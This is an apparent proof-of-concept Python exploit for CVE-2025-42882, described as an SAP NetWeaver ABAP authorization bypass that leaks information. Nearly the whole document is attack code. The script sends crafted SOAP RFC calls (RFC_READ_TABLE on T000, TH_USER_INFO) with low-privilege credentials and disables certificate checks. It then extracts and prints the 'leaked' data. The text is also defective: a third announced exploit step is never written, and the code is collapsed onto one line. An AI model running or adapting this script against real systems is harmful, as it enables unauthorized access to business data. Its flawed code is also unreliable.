CVE-2025-42882: SAP NetWeaver ABAP授权绕过导致信息泄露

# CVE-2025-42882 PoC - SAP NetWeaver ABAP Unauthorized Information Disclosure # Target: SAP NetWeaver Application Server for ABAP # Requirement: Valid basic user credentials import requests import xml.etree.ElementTree as ET TARGET_URL = "https://sap-server:8000/sap/bc/soap/rfc" USERNAME = "attacker_user" PASSWORD = "password123" CLIENT = "001" def create_soap_envelope(function_name, params): """Generate SOAP envelope for RFC call""" return f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sap="http://sap.com/soap/SOAP/"> <soap:Header/> <soap:Body> <ns1:{function_name} xmlns:ns1="urn:sap-com:document:sap:rfc:functions"> {params} </ns1:{function_name}> </soap:Body> </soap:Envelope>''' def exploit_information_disclosure(): """Exploit CVE-2025-42882 to retrieve system information""" headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""/' } # Exploit 1: Read system client table params_t000 = ''' <QUERY_TABLE>T000</QUERY_TABLE> <DELIMITER>|</DELIMITER> <FIELDS> <item> <FIELDNAME>MANDT</FIELDNAME> </item> <item> <FIELDNAME>MTEXT</FIELDNAME> </item> </FIELDS> ''' # Exploit 2: Get current user session info via TH_USER_INFO params_user_info = ''' <USER>{}</USER> '''.format(USERNAME) # Exploit 3: Get system environment via RFC_SYSTEM_INFO print("[*] Testing CVE-2025-42882 - SAP ABAP Authorization Bypass") print("[*] Target:", TARGET_URL) # Send exploit requests for exploit_name, func_name, params in [ ('Client Configuration', 'RFC_READ_TABLE', params_t000), ('User Session Info', 'TH_USER_INFO', params_user_info) ]: soap_body = create_soap_envelope(func_name, params) try: response = requests.post( TARGET_URL, data=soap_body, headers=headers, auth=(f'{CLIENT}{USERNAME}', PASSWORD), verify=False, timeout=30 ) if response.status_code == 200: print(f"[+] {exploit_name} - Request successful") print(f" Response length: {len(response.text)} bytes") # Parse and extract sensitive data root = ET.fromstring(response.text) # Extract DATA element content data = root.find('.//{urn:sap-com:document:sap:rfc:functions}DATA') if data is not None: print(f" [!] Sensitive data leaked: {data.text[:200]}...") else: print(f"[-] {exploit_name} - Failed (HTTP {response.status_code})") except Exception as e: print(f"[-] {exploit_name} - Error: {str(e)}") if __name__ == "__main__": exploit_information_disclosure()